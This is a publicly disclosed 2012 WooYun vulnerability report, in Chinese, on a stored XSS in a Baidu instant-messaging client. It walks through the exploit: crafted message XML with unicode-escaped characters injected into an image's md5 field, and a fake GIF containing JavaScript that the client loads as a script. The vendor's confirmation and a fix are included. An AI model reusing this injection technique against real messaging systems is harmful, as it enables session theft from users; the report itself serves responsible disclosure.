当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-08394

漏洞标题:百度某IM产品又一存储型Xss

相关厂商:百度

漏洞作者: gainover

提交时间:2012-06-17 11:56

修复时间:2012-08-01 11:56

公开时间:2012-08-01 11:56

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-06-17: 细节已通知厂商并且等待厂商处理中
2012-06-19: 厂商已经确认,细节仅向厂商公开
2012-06-29: 细节向核心白帽子及相关领域专家公开
2012-07-09: 细节向普通白帽子公开
2012-07-19: 细节向实习白帽子公开
2012-08-01: 细节向公众公开

简要描述:

经测试,上次的漏洞已经修复啦,但又找到一个新的方法,可以导致Xss。

详细说明:

1. 首先是上传一个正常的图片。
<msg><font n="宋体" s="10" b="0" i="0" ul="0" c="0"/><img n="9BA5EC29F8" md5="bcb94d83862402da4337a19a6b0c4cd6" t="png"/></msg>
2. 然后修改md5参数。。上一次是&quot;的问题。我想你们肯定修复了,于是就换一个方法试试。
<msg><font n="宋体" s="10" b="0" i="0" ul="0" c="0"/><img n="9BA5EC29F8" md5="bcb94d83862402da4337a19a6b0c4cd6\u0023\u0022\u003e" t="png"/></msg>
3. 这样修改后,再发送。。发现接收方就一直是一个图片,在转啊转!!


打开调试工具,可以定位到那个转啊转的图片上!

<IMG style="DISPLAY: none" border=0 _type="userDefined" _src='http://file.im.baidu.com/get/file/content/old_image/bcb94d83862402da4337a19a6b0c4cd6#">?from=page&amp;rnd=16vramskf'>


4. 可见自定义的属性 _src 和 _type ,我们不难推测,程序员之后的操作,大概是读取_src属性,
并重新进行输出<img src="+ _src + "> 的操作。
5. 那么这里应该会出现 <img src="http://file.im.baidu.com/get/file/content/old_image/bcb94d83862402da4337a19a6b0c4cd6#">">的情况才对。
6. 可这个图片并没有如预期的加载出来。
7. 搜索_src,定位到这个JS文件,http://st0.im.baidu.com/popup/popup.js?v=04241601
分析图片加载的相关代码, 看到以下内容。
function g(C, D, B) {
this.img = D;
this.chat = C;
this.tryCount = 0;
this.tryTime = 30;
this.timmer = null;
this.level = 2;
var A = D.getAttribute("_src"),
E = this;
this.doload = function() {
e.sio.callByServer(A,
..........
8. 可以看到,var A = D.getAttribute("_src"), 之后,被e.sio.callByServer(A .. 所调用。
9. 进一步,在调试工具里,调出 baidu.sio.callByServer 的代码。

function (a,n,o){var j=document.createElement("SCRIPT"),i="bd__cbs__",l,f,p=o||{},d=p.charset,g=p.queryField||"callback",m=p.timeOut||0,b,c=new RegExp("(\\?|&)"+g+"=([^&]*)"),h;if(baidu.lang.isFunction(n)){l=i+Math.floor(Math.random()*2147483648).toString(36);window[l]=k(0)}else{if(baidu.lang.isString(n)){l=n}else{if(h=c.exec(a)){l=h[2]}}}if(m){b=setTimeout(k(1),m)}a=a.replace(c,"\x241"+g+"="+l);if(a.search(c)<0){a+=(a.indexOf("?")<0?"?":"&")+g+"="+l}baidu.sio._createScriptTag(j,a,d);function k(q){return function(){try{if(q){p.onfailure&&p.onfailure()}else{n.apply(window,arguments);clearTimeout(b)}window[l]=null;delete window[l]}catch(r){}finally{baidu.sio._removeScriptTag(j)}}}}


10. 不用仔细看,看到document.createElement("SCRIPT"),就基本能猜测到,这个baidu.sio.callByServer是用来加载外部JS文件的。
11. 这样看来,_src 里指定的文件,似乎被当作JS文件加载了?
12. 为了进一步了解是怎么回事。
13. 我们再发送一次图片,并进行抓包。 可以看到图片加载时候,发生了2个请求。
http://file.im.baidu.com/get/file/content/old_image/fb64a79258fc6568f1cf28a02fbe84b0?from=page&rnd=16vq30dup&callback=bd__cbs__2hsm6v
http://file.im.baidu.com/get/file/content/old_image/fb64a79258fc6568f1cf28a02fbe84b0?from=page&rnd=16vq30dup


14. 对比上面2个地址,不难发现,这个地址返回内容是由callback参数决定的。
15. 这样一来,我就可以推断出,为什么刚才我们发送的图片始终没有加载。
因为我们的地址是
http://file.im.baidu.com/get/file/content/old_image/bcb94d83862402da4337a19a6b0c4cd6#">?from=page&amp;rnd=16vramskf&callback=bd__cbs__2hsm6v
那么程序首先会把这个地址当作 JS 文件去加载。
baidu.sio.callByServer('http://file.im.baidu.com/get/file/content/old_image/bcb94d83862402da4337a19a6b0c4cd6#">?from=page&amp;rnd=16vramskf&callback=bd__cbs__2hsm6v');
当时,上面这个地址,显然是一个图片,被当为JS,始终无法正常加载,因而。。就一直加载中。。
16. 但是,这里显然存在一个安全问题。。。 如果我们图片的内容是JS呢?
那么 baidu.sio.callByServer('内容是JS的图片'),
则会读取并加载这个JS的内容。
17. 带着这个想法,我们不难构造出以下漏洞利用方法。
A. 首先建立一个伪造的GIF图,内容如下:
Gif89a=""
alert(document.cookie);


B. 然后发送这个图片。抓包得到请求

<msg><font n="宋体" s="10" b="0" i="0" ul="0" c="0"/><img n="9BA5EC29F8" md5="ea2a8f229a7559096c3e28769126886c" t="gif"/></msg>


C. 将 ?from=page# 转换为 unicode :\u003F\u0066\u0072\u006f\u006d\u003D\u0070\u0061\u0067\u0065\u0023
加到md5的末尾.

<msg><font n="宋体" s="10" b="0" i="0" ul="0" c="0"/><img n="9BA5EC29F8" md5="ea2a8f229a7559096c3e28769126886c\u003F\u0066\u0072\u006f\u006d\u003D\u0070\u0061\u0067\u0065\u0023" t="gif"/></msg>


D. 发送此内容。可以看到接收方弹出了弹窗


18. 总结本漏洞,主要利用了3点。
A. md5值处可以插入内容
B. 通过加入 #的方式阻断了 http://file.im.baidu.com/get/file/content/old_image/xxxxx 的 callback参数作用。


C. 上传图片文件处,被我们利用为JS文件进行执行。

漏洞证明:

见详细说明。

修复方案:

将md5值限制为32位长度,仅允许 字母+数字 字符集。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2012-06-19 14:17

厂商回复:

感谢提交 和上次问题一样 这种问题可以更直接并且更方便的获取用户数据

最新状态:

暂无